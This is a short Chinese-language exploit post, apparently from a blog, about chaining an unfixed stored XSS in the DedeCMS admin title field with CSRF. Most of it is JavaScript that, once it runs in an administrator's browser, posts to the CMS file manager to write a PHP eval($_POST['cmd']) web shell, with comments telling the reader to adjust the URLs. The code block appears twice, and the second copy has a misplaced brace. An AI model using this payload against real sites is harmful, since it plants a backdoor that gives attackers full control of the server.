dedecms利用xss+csrf getshell

dedecms的漏洞很多,但是厂商都是不做修复。
之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。

后台可触发xss，利用js代码：

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
  
getshell();
function getshell(){
  
var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改
  
xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", postStr.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(postStr);
}

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

xmlhttp=request;

getshell();

function getshell(){

var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改

xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Content-length", postStr.length);

xmlhttp.setRequestHeader("Connection", "close");

xmlhttp.send(postStr);

}
